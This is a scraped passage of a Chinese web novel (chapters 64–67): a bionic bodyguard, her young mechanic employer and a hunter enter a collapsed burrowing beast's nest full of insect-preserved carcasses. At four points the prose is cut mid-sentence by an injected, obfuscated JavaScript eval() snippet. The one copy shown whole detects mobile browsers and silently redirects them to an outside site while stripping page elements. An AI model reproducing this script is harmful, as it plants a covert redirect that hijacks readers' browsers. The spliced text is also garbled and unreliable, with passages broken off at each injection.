同时,在出入口段之外,巢穴的结构将豁然开朗。穿地兽喜欢在巢穴内的不同地方进行交/配、进食、嬉戏、睡眠这些日常行为。 因此,十一月那两只穿地兽各高约一米,假设其中至少一只是公兽,下方巢穴最大可能的构造是: 存在数个出入口,约一米高,长度未知,通常是两到三倍的穿地兽的长度;出入口段的边界,将紧接高度最低为两米各个功能区域。 大概率,那两只穿地兽就死在其中的一个功能区域内。 目前,尚无法确定被发现的空洞属于巢穴的哪个部分。 讲到这儿,齐姐话锋一转。 “我们聚集、走动,这没半点异常,说明巢穴的支撑结构整体还能勉强维持,不过一些局部可能很脆弱……” 时却心知齐姐分享的经验之宝贵,聚精会神地听着,生怕漏掉一个字。 齐姐的意思是: 一旦对过于脆弱的支撑结构施加外力,它可能会单点破碎,像被沾湿了的手指戳破的纸张般,形成单独的空洞——就像刚发现的这个一样。 要么,支撑结构也可能像被大石块砸了的玻璃,哗啦啦碎个干净。 话毕,齐姐又道,她将和时却将以这个洞为中心,慢慢清理周边的泥土,直到恰好露出下面的支撑结构。 如果这个洞属于没有覆盖支撑结构的出入口,皆大欢喜,人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她反手持刀,将刀身倾斜着下压入泥土中,直至刃边全数没入,再做出朝身体方向拉的动作,从而刨带下大块的土。 时却手下用着工兵铲,暗自分神,比较了一下自己匕首的形状和齐姐的穿刺刀,觉得这姿势她的匕首同样适用。 她没有做出任何实际动作,在脑内预演了几遍,确认自己记住了这种姿势。 时间一分一秒地流逝。 伴随泥土的簌簌落下,大片白骨颜色的、膜一样的覆盖结构逐渐一点点显露。 最终,这些覆盖结构形成的景象为: 一片白色膜体的中部,存在近圆形的泥土填充区域。 此前的空洞,有部分边缘处在那圆形的外侧,极为靠近圆形的边缘。 换言之,当时那个紫蝎在挖腐烂菇时“戳破了什么”的感觉,来源于她误打误撞,真的戳破了巢穴支撑结构的一部分。 众人的运气不错,这是个没被封住的出入口。 那“近圆形的泥土填充区域”,八成是穿地兽进入巢穴后,随着风吹雨打而逐渐堵塞在出入口,进而自然夯实了的土层。 时却轻抚眼前如白骨般的支撑结构,指下触感略有些粗糙,仿佛她正摸的是块表面不甚平整光滑的岩石。 也许是临近脆化了的缘故,部分的支撑结构还在掉粉。她收回手,指腹一片发白,沾染了不少白色粉末。 齐姐小心翼翼地持刀,慢慢刺入那近圆形的泥土区域,直到刀身没进过半,眯起眼睛。 她吹了声口哨。 “刀尖悬空了,”她说,“再把这点土搞掉,就能往里爬人。” 64. 想与不想 齐姐三下五除二敲掉洞口的土,略微潮湿的阴冷空气涌出,一个幽深的通道得以显露。 这个洞口的高度约一米,宽在六十至七十厘米之间,除底部外的侧壁均覆着灰白程度不一的骨质膜状支撑层。 它足可供绝大部分体型的成年人轻易爬入。 时却和齐姐鼓捣洞口期间,斜坡上的腐烂菇被紫蝎们采摘掉大半。 一见洞口清了出来,所有人再度围上前,轮流或瞧或摸洞口的边缘。 “希望那两只穿地兽身上糊满了假琥珀。”一个紫蝎说。 石宇打了个哈欠,咕哝道:“谁知道呢……说不定只剩下个野兽架子。” 疯牛微笑着瞧他一眼,舔舔下嘴唇。 “那到时候可有得打了,大个子。” 她这话毫不客气,引发出一点窃窃私语。 时却一头雾水,只听到有小团体低声讨论起来,主题是两只穿地兽的白骨和鳞片的重量约莫有多少。 “啥意思?”她低声问沈司奥。 “假琥珀是一种虫子的分泌物,有防腐的作用。”沈司奥小声解释。 “那种虫子喜欢拿大型动物的尸体当过冬的粮食。要是它们在食腐动物之前赶到,穿地兽的尸体大概率能保存下来大半,或完全得以保存,和刚死没多久时差不多。” “一会要进去的话,”蒋云霞加入二人的嘀咕小组,“如果没有恶臭,就八成是假琥珀的情况。” 时却惊叹着,不由得脑补出了这样一副情景: 两只体型硕大的穿地兽,失去了生命力,寂静无声地被包裹在厚重的润黄透明树脂里,任由时间在它们的身上凝滞,那时间同时还于浓稠的黑暗巢穴中再不流动…… 在三人小声说话时,人群中属于各个小团体的讨论也没停。 齐姐耐心地等了两分钟,气定神闲地脱下手套。土屑和大小不一的土块,从她满是泥巴的手套上簌簌地往下掉。 她响亮地鼓了两下掌。人群里五花八门的对话响动被这声音压下。 “那个,附赠点建议,”她说,“有想打架的,趁着还在开阔地,建议马上打。进去后最好尽量憋着。” 柳广知清清嗓子,捧她道:“您经验丰富,不如把话说清楚些,” “你们不会没想到吧,这可不是一般的洞穴。”齐姐故作讶异地扫视众人。 “开枪或大力的撞击,都有几率打碎巢穴的支撑点。运气好,局部坍塌,运气不好……堆高了的积木被抽掉一块支点会怎样,应该不用我多说?” “齐姐。”泥猪似笑非笑地双手插兜,十分没站相地垮着身子,轻飘飘地扫视周围。 “接下来你不会提议所有人相亲相爱,不管找到了什么,全平分?” “按常理说自然不该这样,毕竟能者多得,”齐姐微笑,“不过既然是‘能者’,总该有明智的挑选战场的能力,你说呢?” 她指着巢穴的洞口,狭促道: “从进入巢穴开始,到离开巢穴为止,至少别为了争猎物而出手,如何?各位,在场的人里,总有几个你不想相伴长眠于地下的家伙吧?” 左撇子女飞快地瞟了一眼泥猪和疯牛,嘴角微抽:“齐姐,下次还是别假设这种事情。我同意。” 泥猪投降似的举起双手,极有诚意地向后退了一步。“行,我没意见。” “插个话,”蒋云霞说,“如果有人不想进这黑咕隆咚的地方,又想挣点外快,在这把剩下的腐烂菇采采,到时再顺便给里头的人守着,怎么样?” 柳广知沉吟:“一旦巢穴真塌了,好歹有局外人能第一时间找蝎子救援?” 蒋云霞和齐姐不约而同地称是。经过短暂的若有所思,几乎所有的紫蝎对此面露认可之色。 “你们俩……”齐姐眯眼打量了一下柳广知和石宇,“我记得最近才从十四区来?” “是。” “如果穿地兽的巢穴很长,”有紫蝎周密地发问,“离得远,望风的人不一定能察觉出来地底塌了吧?” 齐姐耸肩肯定。“还是看运气。” “运气好,就算巢穴塌了,说不准你有空余自己联系上蝎子,或自个儿爬出来。毕竟只单纯在地底下被土埋着,最多压一层那支撑结构,又不是给钉死在了棺材里。” “而运气坏——” 她拖长语调,没有继续说下去,言外之意很明显。 运气坏的话,大家伙手拉手一步入土,真·入土。 时却扫视周遭一圈。 多数紫蝎不为所动,显然比起齐姐话里最坏的可能发展,更在意两只穿地兽能带来的收益。 有一两个紫蝎脸上露出了打退堂鼓的意味,转而去瞧附近的腐烂菇。时却心道这完全可以理解。 “好了,话别绕远,”齐姐啧一声,“其他人,利索着表个态?从进入巢穴开始,到离开巢穴为止,尽量当只会咕咕叫的和平鸽,怎么样?” 蒋云霞和沈司奥一左一右站在时却的两个相对侧。蒋云霞拿胳膊肘捅了一下时却,眼神里有问询和跃跃欲试的意味。 沈司奥同样拿胳膊肘捅了一下时却。时却看向身侧,机械师对她点头示意。 这是他赞同“三人要进巢穴”这事的意思。 而鬼使神差地,时却忽然被他这样的表态刺了一下。 ……凭心而论,时却对这个世界一直有着猫一样的好奇心。她不仅想亲眼见见穿地兽,对那所谓的“假琥珀”同样有兴趣。 瞧瞧,她难道没有光听到语言上的描述,就脑补出了相应情景吗? 可也许是……两个多小时前刚接触过沈司奥的同龄人——那个男孩——的关系,经历过那男孩的柔顺,面对沈司奥一如往常的不反对,她心头浮现出些模模糊糊的犹豫。 她转脸去瞧那个黑黝黝的洞口,注视其内仿佛如有实质的、几近与通道壁连为一体的深邃黑暗。 她又看了看之前面露退意的紫蝎,后者已在以囊中之物的目光,打量斜坡上剩余的零散星点腐烂菇。 时却低下头,蹭了蹭脚下并不坚硬的地面。 泥土随着她的动作,柔顺地围着她靴子的外轮廓,浮起一条松散、柔软且湿润的,蚯蚓般的凸边。 时却记得,沈司奥的行李背包中,有两个便携式的氧气瓶,是她亲手在黑街购置的。 由此,她的理性不禁进行了务实的推理: 这样疏松的地面,即便巢穴塌方,泥土连带着支撑结构一块压下来,只要她在沈司奥周侧,她有把握将他带上地面;至于蒋云霞,她更是只需要搭把手就行,不用担心。 即便换成普通的更坚硬些的土地,她也有信心完成这件事情。 ……都这样了,她仍对沈司奥的一如往常的赞成态度,产生了犹疑吗? 时却缓缓地舔了舔位于上排牙齿内侧的软腭。 陆续地,紫蝎们要么以简短的回答同意齐姐的提议,要么回以了可能表示认同,也可能意味不明的沉默。 沉默以对的人占据半数。 齐姐见状,并不意外地笑笑,表示不在意沉默那部分人的具体想法。 “言尽于此,”这位巡逻队的前队长意味深长道,“人嘛,总要为自己的选择。” ……事实上,时却、蒋云霞和沈司奥属于沉默的那一部分人。 沈司奥是见时却不说话,自然不说话。蒋云霞的眼睛在两人之间打了几个转,看他们半点不动弹,只得也不开口。 “时候不早,都想想吧。”齐姐抬手腕看了一看终端,给自己团队的人使了个眼色。 “富贵险中求,反正我们几个要进去。各位,五分钟之后再集合?” 无人反对,紫蝎们彼此散开。 时却三人将采集得到的腐烂菇放在蒋云霞的车上。 “这小子,睡眠质量不错。”蒋云霞给仍在车后座上沉睡的男孩掖了掖毛毯。她直起身,对时却说她要到边上抽根烟。 时却心知这是给自己和沈司奥谈话的机会。 她简单说了左撇子女的事情,在蒋云霞的“啧啧”声中把挂在右耳上的香烟丢给对方。 “我不咋抽这种,不过浪费可耻……凑合吧。”后者将那根香烟凑在鼻下,抽动着鼻翼闻了闻,勉为其难道。 “等到了十二区,你去买两包你最喜欢的牌子,”时却说,“我请客。” 目送这位猎人高高兴兴地找了个灌木丛,三两下便钻得没了影,时却转身,双手交叉在胸前: “老板,我们得聊两句。” 沈司奥抬了抬下巴,示意时却直说。 “你先把防毒面罩和墨镜都脱了。” 未成年的机械师照做。时却略歪了歪头打量他,不肯放过他面部的任何表情。 “你刚才对我点头了。你真的想进那个巢穴里去?” 沈司奥的脸上浮现出略带古怪的神情,反问:“我们不该进去?巢穴里明显有不少东西。” “你不想去的话,我们就不去。今天的腐烂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个平日里表情不怎么多的机械师有点犯傻地微微张开了嘴,仿佛极为面前仿生人的理直气壮而惊诧。 他无言地垂下眼帘静默几秒钟,然后慢吞吞地抬头,郑重其事地抿了抿唇。 时却心里颇有些七上八下,紧张地盯着他即将开合的嘴巴—— “第一,再次强调,我成年了。” ……时却只觉好似一个棒槌迎头痛击过来,砸得她的脑子嗡嗡作响。 搞什么啊!沈弟弟,这种时候你的重点居然是这个?! “第二……谢谢。”沈司奥飞快地背手过身后去,含糊且小声地说。 时却轻轻哼了一声。 “不过,我还是坚持那个巢穴值得进。”他旋即正色道。 他脱下背包,拉开拉链,翻出两个矿泉水瓶大小的氧气瓶到最上层,“记得吧,我们备了这个?” “如果出了什么事情,你有缓冲的时间,足够带我到地面上来,”他拿起其中一个氧气瓶随手摇晃了下,“是吧?” 时却郁闷地看他东一榔头西一棒子的,就不直面她的问题,给一个准话。 被她幽怨的眼神瞧了几秒钟,沈司奥眼睛弯了弯,继续东拉西扯:“我有点好奇,你不是对巢穴里的东西很有兴趣?” “你得知道……” 他随手把防毒面罩放在蒋云霞车子的发动机盖上,留墨镜在手里。 他不断地展开又折起细细的镜腿,听耳边沙沙的树叶摩挲声如流水般不断淌过,眼睛一眨不眨地看着时却。 “穿地兽不是蛙藤这种随地能见的生物。在管理局的赶尽杀绝的政策下,它们算踪迹罕见。” “如果我的确不想进去,你的好奇心可能永远也得不到满足。即使这样,你还坚持原来的说法?” “唬你有糖吃?”时却白他一眼,“不满足就不满足,非得考个一百分吗?” “到了十二区,我会当一阵子猎人,”她说,“攒攒钱,保养保养自己,再去十区找洛双。” 啊,这具身体的制造者。沈司奥想。 “如果后面没什么其他事情了,”仿生人道,“我喜欢狩猎,准备继续当猎人。该见的,我应该迟早会看到。见不到的,就算了。” 说完,她眨了眨眼睛,黑色的瞳孔如同一池静谧的湖泊。 ……而沈司奥忘记自己上次下水游泳,是什么时候的事情了。 “我想进那个巢穴了,真的,反正你会在我旁边的,对吧?”他笑着重新戴上墨镜,隔着半透明的镜片凝视时却,再三保证。 “如果它真的塌掉,”他轻快地说,“靠你救命了,我可靠的保镖。” 65. 假琥珀 蒋云霞抽烟回来,时却把两人的商量结果告诉她。 他们决定进入巢穴。不过,一旦有什么意料之外的事情发生,为确保沈司奥的安全,三人需要立刻撤离。 蒋云霞没有意见。 她心情不错地一把搂过沈司奥的脖子,将他整个人带得踉跄前倾,逗他道: “小老板,很会走出舒适区嘛,来来,加个终端好友,等到了十二区,有什么生意优先关照你。” 沈司奥几番努力尝试站直身体,无奈接连失败:“咳咳,你收收劲……” 时却扶额,简直没眼看这位战斗力只有五的老板。 略作些收拾,他们三人重回到斜坡。 紫蝎的数量没有少,除两个家伙疏离于大部队,旁若无人地蹲在地上采集腐烂菇外,其余人全围在巢穴的入口旁。 决定进入巢穴的紫蝎们多背上了背包,携带了各式的照明工具。 在好几个背包的侧袋处,时却看到插有氧气瓶。 人群中,热兵器的携带数量急剧下降,让位于诸如匕首、短刀、斧、手/弩之类的冷兵器。 看来,虽然对齐姐的“和平鸽”提议报以沉默的人偏多,不过沉默是一回事,实际的权衡是另一回事。 见时间差不多,疏离在大部队外的两个紫蝎提出,他们将在此处停留到晚六点钟。 有外来的人靠近,他们会作壁上观;如果留意到巢穴坍塌,他们会第一时间联系蝎子,再视情况向因此而获救者收取报酬。 无一例外,打算进入巢穴的紫蝎们明确地接受这样的条件。 齐姐掏出几支白色的冷光棒摇了摇。 “我打头,布置入口段的照明?” 她等了几秒钟,确定没人出声反对,说声“来,那拼一下这玩意”,冲就近的左撇子女伸手。 左撇子女的同伴从随身背包里掏出一小捆冷光棒,交给她。 齐姐在人群里走过一圈,手里的冷光棒数量迅速膨胀,变为一捧。 她把这些冷光棒束在腰间的一个长口袋里,猫腰爬进洞内,动作几下,再退出。 距离洞口往内,两只冷光棒分别被左右放置,略嵌入土里,散发出幽幽白光。 “我差不多这样放,爬的时候看着点,别给撞歪了。”齐姐道。 说完,她抬起手腕上的终端,建议让在场的人拉个临时的通讯群,好及时沟通情况。 众人纷纷低头去摸终端。很快,时却三人被拉入一个大群中。 眼看马上就要进入巢穴,时却举手提出,他们这个小团队想最后进入。 这是他们三人早商量好的策略之一,既照顾沈司奥的体能,还便于遇事不对立即跑路。 她学着齐姐的模样等了几秒钟,没见有人出声,知道这事顺利定下。 齐姐爬入巢穴,她的小队成员紧随其后,再接着是其他紫蝎。 看一个又一个人爬进黑漆漆的洞口,时却脑子里跳出个有点搞笑的想法: ……如果这个巢穴成了穿地兽的墓穴,从某个角度来说,他们这群人算不算大型的盗墓团伙? 还是会对墓主人扒皮抽骨,全数打包带走的那种变态团伙。 她被自己逗乐了,把这想法当闲话向两名同伴一说,得到两种大相径庭的反应。 蒋云霞认为挺搞笑,沈司奥则觉得有点冷,不过他还是勉为其难地给了时却面子,翘了下嘴。 很快,洞口外只剩下他们三人。 由蒋云霞打头,时却断后,沈司奥在中间,他们依次爬入洞内。 狭长甬道内的侧壁立即朝他们压靠过来,空气更是较洞外更阴冷潮湿些。 有齐姐一路上间隔安放的冷光棒,加上紫蝎们各个用起了五花八门的照明工具,洞内的黑暗已变为对于常人来说可以接受的程度。 而对于时却讲,这样的亮光更足够她清晰视物。 蒋云霞在胸前的左右背包肩带上各别有小巧的工具灯,沈司奥和时却则各戴了个头灯。 想着头灯好像不太需要用到,反倒还有晃到别人眼睛的概率,时却将自己的头灯调到最低亮度,充个门面以合群即可。 调整完头灯亮度后,她边爬边轻敲数下身边的骨质支撑膜,不多时,对穿地兽有了新的认识: 它们分泌的保护液并不均匀。 看似浑然天成的支撑结构上,有些地方的敲击声更厚重,有些地方的敲击声更清脆。 这算好消息。 万一巢穴坍塌,厚重的支撑结构不容易被粉碎,更有几率形成具有空隙的造型。人可以躲在其下,得到短暂的喘息机会。 在幽幽的冷光棒和摇曳的人造灯光里,时却无言地继续跟在沈司奥后头爬进。 沉默的不光她一人,二十来个紫蝎里就没有出声的。 长长的甬道内,只充斥着窸窸窣窣的爬行响动,以及来自不同人的、或轻或重的呼吸声。 时却不时留意左手腕上的终端,它同样沉寂。临时拉的群里亦无人发言。 行进了没多久,她感到众人所在的高度逐渐有了微妙的角度变化。地道正一点点的朝下倾斜。 这属于正常的现象。 齐姐说过,穿地兽巢穴里的功能区域更为广阔。 考虑到入口处在斜坡的顶部,这反倒说明他们在缓缓地向入口段的中后部前行。 更好的消息是,自进巢穴以来,时却暂时没在呼吸到的空气里闻到任何腐臭气味。 再一阵过去,队伍毫无预兆地停下,由终端发出的、细微的振动声此起彼伏地响起。 时却唤醒手腕上的终端。 除加过终端好友的人被直接抓取了备注外,其余人在她这显示的都是自拟的称呼。 齐姐在群里给自己的昵称是简单一个“齐”字,她接连发出几消息。 齐:【遇到岔路口,左右两个道,分两拨人走?】 齐:【照片】 齐:【测了下风向,有点乱,没什么参考价值,随便选吧。】 时却仔细观看齐姐拍摄的照片,只见到在冷光棒的幽幽白光和人造灯光的照映下,那一左一右的两个洞口如复制粘贴般大同小异。 她接连收到若干的终端好友申请,发出者全是群内的紫蝎。里头甚至还有来自疯牛和泥猪的申请。 与此同时,石宇和左撇子女的私聊消息先后到来,询问她要不要和自己一块。 考虑后头打算当猎人,时却不管三七二十一,来者不拒,先统统通过这些申请。 申请通过的几秒后,部分新好友发来问询,打探时却几人准备选哪个洞口。 疯牛和泥猪没吭声,默默地躺在好友列表里。 在和沈司奥与蒋云霞的小群里,时却简单说明了情况。 蒋云霞:【那些人不全都想和咱们一块,估计是趁势,顺手加一下你。】 作为一个老猎人,蒋云霞那边同样有人找。三人经过简单商量,决定答应石宇和左撇子女。 众紫蝎依次在群里报上自己预计选择的岔路口。 重新分队的结果为: 时却三人、左撇子女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774060|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人、柳广知和石宇、疯牛和泥猪、一个陌生的两人小队,统共十一人,走左边的岔路口。 齐姐所在的四人小队和余下的紫蝎共十余人,走右边的岔路口。 长长的爬行队伍再次动起来。 没一会,时却三人爬行至齐姐照片里展示的岔路口处。 他们转入左边的通道。 在时却的两侧,单调的骨质侧壁不断地后退、后退、后退。 某次,在她跟着沈司奥转过一个拐角后,情况终于发生变化,她的眼前豁然开朗。 一行人来到了一个目测约二十平米的空间。 此处高约两米,角落里附着几滩蚂蚁窝样的土堆,奇怪的是并未见有蚂蚁在上头或这个空间内穿行。 这空间内的大部分区域,毫无规律地堆放着些中型或小型的动物。 动物们的一部分被吃得只剩下了森森白骨,较大的骨头上残留有或深或浅的弧形凹坑,正好对应上穿地兽头部那两片齿牙的形状。 而动物们的另一部分……准确地说更应该被称之为“尸块”。 它们无不被一层薄薄的半透明黄色黏液所覆盖,没有散发出半点腐臭气味。 在各种血淋淋的断面处,时间仿佛被冻结住了,于那半透明黄色黏液下黯淡地显露着,相较于可怖之感,反倒更让人下意识地感到恶心。 尸块里头,有纯肉块或内脏形式的,也有些较为完整,容易被辨认出生前具体是什么动物。 时却稍一打量,看出那些完整些的动物们,生前多于颈部或四肢受了咬断式的致命伤,伤口的轮廓同样呈弧形。 穿地兽打洞时会吞吃泥土……它当然也可以用同样的方式捕食和吞吃猎物。 显然,这儿是它们的“食物储藏间”。 疯牛蹲在一只尸首分离的猫兔幼崽前,摸出一副乳白色的医用手套,唰一下抖开穿好,拉平整了边缘,毫不避讳地伸手拿起猫兔幼崽的头。 她缓缓地站起身。 半透明的黄色黏液极有延展性,随着她的动作被抻长,带着一种特殊的细微光泽感由粗变细,最后不情不愿地拉着丝垂落在地。 ……怎么说呢,一时间,“拔丝地瓜”这四个字,非常、非常不合时宜地浮现在时却的脑海中。 疯牛左看看右看看手里的小猫兔头,掰开它的嘴,凑近,仔细地嗅闻起来。 几秒钟后,她猛地偏头,喉间咕噜着,发出响亮的干呕声。 众人:“……” “次次凑这么近,要不你离远点。”连泥猪都有点看不下去了,露出感同身受般的恶心表情,抱怨道。 疯牛冲他重重地“哈”一声,扬手飞起小猫兔的头砸到他脚边,狠呸他一口,泄愤般飞踢一脚小猫兔的躯干。 那躯干软塌塌地飞到时却脚边,原本连接头部的断口处挂有些葡萄串形状的黑色虫卵。 “蠢货,”疯牛指着泥猪骂,“不离近闻个屁?” 石宇叹为观止地给疯牛竖大拇指。“姐们,你闻出啥来了?” 疯牛扫视在场的人一圈,颇有几分干裂的嘴唇倏忽咧开,“它嘴里还有几分草的气味。” 不止一人发出兴奋的骂声。 “中大奖了。”在时却的不远处,柳广知喃喃。 蒋云霞主动扯一下时却的外套,对她解释疯牛的话代表的意义。 “这个巢穴里的虫群正值壮年,”她说,”能产出质量最好的假琥珀。” 以此类推,死在这个巢穴里的穿地兽,将被保留在最完整的死亡状态。 66. 小路 时却蹲下,细看小猫兔身上的虫卵,问这些虫卵是否属于产出假琥珀的虫子。 蒋云霞给予肯定,说这类虫子的外观形似甲虫,个头在指甲盖到糖果大小不等,成群行动,卵生。 “这类虫子有好几种,大概就学生物的能分得清。” 她拿靴尖拱了拱小猫兔,后者顺从且柔软地被挑起一点,覆盖于其上的假琥珀如同温热糖浆,向着相对更低处黏稠而缓慢地滑动。 “分不清也不妨事,”她撤开脚,假琥珀没粘附于其上,仅在靴头留下一点湿痕,“大部分人直接管它们叫‘琥珀虫’。” 她们对话期间,其他人没闲着,在这个穿地兽的“食物储藏间”里,开始以极快的速度,各自为政地勘察。 一行人中唯二时却不认识的那两个紫蝎,均是年轻男人。他们略带警惕地找了个角落,呼出全息投影,开了隐私模式,不知道在查看些什么。 柳广知和石宇对动物尸骨的兴趣比较大,一路捡骨头看,看两眼再丢掉。 左撇子女和其同伴朝动物尸体上比比划划,叽叽咕咕什么“进食量”和“储备量”的问题; 疯牛变魔术般地掏出好几个样品管和一袋棉签,往棉签东擦擦西擦擦,再挨个往样品管里装,装完看也不看地丢给泥猪。 泥猪司空见惯地摸出了个有束绳的袋子,张开着跟在她后边接。 时却模糊地察觉出他们各有目的,隐约有猜测,但无法肯定,只得再以眼神示意身边的老猎人“同伴帮帮我”。 蒋云霞已然很习惯时却的常识匮乏。她解释: 那两个时却不认识的陌生紫蝎,这会大概在重新查看穿地兽的资料或询问别人。一看就是经验不算丰富的两个愣头青。 而基于当下生物学被辐射弄得乱七八糟的现况,出于谨慎,柳广知和石宇应该想确认那两只穿地兽的咬合力; 类似地,通过了解这个空间内储存动物的情况,左撇子女和其同伴正二次评估穿地兽的体型,也许还在进一步猜测它们死前的身体状况; 至于疯牛…… “她在当赌狗。”蒋云霞道。 于是时却得知,十三区的不少猎人会常年向附近区的研究所供给区外变异生物的样品。蒋云霞也干过一阵这事。 不过,对于并不专业的猎人来说,由于无法辨认什么可能有价值,什么可能没有,他们只得采取“广撒网”的策略,看到什么任何可能有价值的就取一点,到时候让研究所批量判别去。 这活和开盲盒没什么区别,运气好的话能赚点,运气不好的话,只能按取样数得到极低的一点计件劳务费。 时却满足于自己又涨了不少知识。 “我们还能做什么?”她问。 蒋云霞摸摸后脑勺,表示事就这么点,全被抢光,他们三人不如袖手发呆。 作为一个好奇宝宝,时却发呆是不可能发呆的。 她指着角落里蚂蚁窝一样的东西,问那是否为琥珀虫的窝。 “对,不过这儿虫影也没一只,看样子里面是空的。” 蒋云霞百般聊赖地抽出腰间的一把匕首,在衣角上蹭了两下。“琥珀虫经常成群结队到处乱窜,在哪都不稀奇。” “说不定在努力啃那两只穿地兽,”她开玩笑,“随它们啃,那些小东西食量不大,这才多久,能把穿地兽啃下一只爪子算厉害的了。” 沈司奥说:“琥珀虫经常为其他生物做嫁衣。” 哦,他们这群人是妥妥的程咬金,时却想,感恩琥珀虫,虫好人坏。 不多时,柳广知和石宇查看完毕,说没什么意料之外的发现。 左撇子女和其同伴那边前后脚结束。“和地图上说的八九不离十。” 疯牛和泥猪没说话,不过一人不再往外狂掏样品管,一人收起束绳袋。 那两个陌生的紫蝎沉默地收起全息投影,朝大部队凑过来。 这个“食物储藏间”有两条通向他处的出口,均是可供两三人正常并排行走的大小。 蒋云霞简单画了个示意图发到紫蝎们的大群里,并发送他们所在的定位。 齐姐在群里回了个手绘图,以及他们那一行人所在的位置。那位置距离两条出口的其中一条较近。 齐姐:【建议你们选那条看着近的走走,如果感觉向我们靠近,再折返,选另一条。】 经过简单商议,时却等人决定按齐姐说的做。 他们离开“食物储藏间”,朝那条看似距离齐姐一行人较近出口走了一会,确实感觉正不断朝齐姐那边靠近,便果断折返,选择另一条路。 时却依旧当断后的那个。她让沈司奥走在自己前头。 在各式晃动的人造灯光下,她看见一个接一个的影子被映照在灰白的通道侧壁上,伴随泥土与硬质靴底撞击而产生的接连脚步声,持续地朝前方滑移。 除自己人制造的响动外,她的耳边没有其他值得留意的动静。 前方是待人造光亮吞噬的暗色,后侧是不断地撵上一行人脚后跟的漆黑,对时却来说,它们配上扑扑的沉闷行走声、鼻尖的泥土气味、身边同伴们脸上严肃的神情,构建成了一副尤为奇特的画卷。 下意识地,她想将这幅画卷瞧得更清晰些。 些许微不可闻的齿轮咬合声和轴杆吱呀的摆动音,毫无预兆地钻入她的耳畔。 仿佛一把钥匙插/入从未启用过的锁孔中,仿佛一扇紧闭的门扉被不可违抗的外力推动了,徐徐打开来。 她的身体忠实地听从了她的愿望,将之实现。在已然得知的细节之上,时却感受到更多的东西: 脚下的泥土中传出若有若无的腥骚,仿佛是某种尿液发散了许久后几近消失的气味。 蒋云霞腰间的匕首套正以0.8秒一次的频率轻拍她的胯部。 泥猪的身上,有一处传来细微的塑料瓶相互挤压、撞击的细微响动。 最前头那两个陌生的紫蝎里,大概出于紧张,有一人的呼吸频率稍快,不那么有规律。 一个三岔路口出现在众人眼前。 照例,这三个路口跟三胞胎似的,大同小异。地面上没有任何可供参考的、动物走过的痕迹。 “怎么又来?”石宇烦躁地揉揉脑袋,粗声粗气,“走哪条?” 柳广知打开紫蝎们的大群,发了个定位,等齐姐那边回复后,仔细对比两个分队的所在位置。 他头疼道:“这个三岔路和齐姐那边有一段距离了,参考性不高。” 蒋云霞掏出自制的风向标插在三个路口的交汇处,风向标的箭头消极怠工似的,小幅度地悠悠转动了一下。 疯牛弯腰将它往左拨,再往右拨。 只要一受到外力拨弄,风向标就顺从地左右偏移,最多原地再小角度晃悠几下。 “这玩意废了,”疯牛道,“要么是这儿几乎没风。” 蒋云霞碾了碾脚下的地面,低头瞧了瞧自己的靴尖,没说话。 她叹了口气:“我有个提议,准确率可能不高……” 时却还维持着感官放大的玄妙状态。 她的视线越过众人,投向三岔路的中间通道。 那里有细微的、流动着的风从黑暗中吹拂过来,同时还带着若有若无的腥臊味。 “尿?”她转脸对蒋云霞说。 “反应不慢嘛。”蒋云霞略有些惊讶,含笑挑眉。 她随后向众人解释,如果那两只穿地兽带着重伤逃回巢穴,应激状态下的它们很可能会失禁,失禁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【保险起见,不要随意分散。】 时却理解她的意思。毕竟是在可能坍塌的地底巢穴,多个人多把手。 众人继续行进。 随着越发深入,来自黑暗中的风吹拂得越来越明显。 蒋云霞没收起风向标,它前端的扇叶缓缓动起来,箭头和箭尾旋转,正常地指出了上风向——众人的前方。 又十几步,最前头的两个陌生紫蝎转过一个拐角,携带的灯光照亮拐角后的黑暗。 时却听到他们倒吸一口凉气。随后,类似的发声依次出现在柳广知石宇二人、左撇子女和其同伴二人身上。 疯牛和泥猪三步并作两步跨到拐角后。他们颇有默契,发出意味不明的啧声。 时却三人连忙跟上。 拐角的灰白侧壁退至视野范围后,取而代之的是一左一右两个岔路口。 左边的岔路口看上去平平无奇,右边的岔路口……它长满了腐烂菇。 这些腐烂菇们的个头看上去比外面的膨胀了一整圈,足有橘子般大小。 仿若其下的土地为多么肥沃的腐殖质般,它们密密麻麻地,一个挨着一个地长,伞状的菌盖彼此你搭着我我搭着你,高高低低铺满地面,叫人全无下脚之处。 更惊悚的是,在这成片腐烂菇群之中,在这个通道的正中央,还存在着一个由被压烂的腐烂菇形成的“小路”。 这“路”具有不规则的扭曲状,棕色的伞状菌盖被碾碎、压扁,同灰白的菌柄分离,铺成“路面”。 而被分离的菌柄滚至“路面”两旁,垫成胖乎乎的“路牙”,挤得“路”旁的其他腐烂菇不同程度地倒伏。 这“小路”……就好像是什么蛇一样的玩意,曾在这片腐烂菇群上面蜿蜒爬行过。 67. 尾针 蒋云霞手里风向标的箭头,笔直地指向长满了腐烂菇群的岔路。 左撇子女喃喃:“腐烂菇不是不喜阴?外面的那些好歹能沾点光,怎么还长到洞里来……这么一大片。” 柳广知倒不太在意,接受良好,“和蛙藤一样,有个体差异?区外地图有遗漏或信息不准,又不是一天两天的事情。” 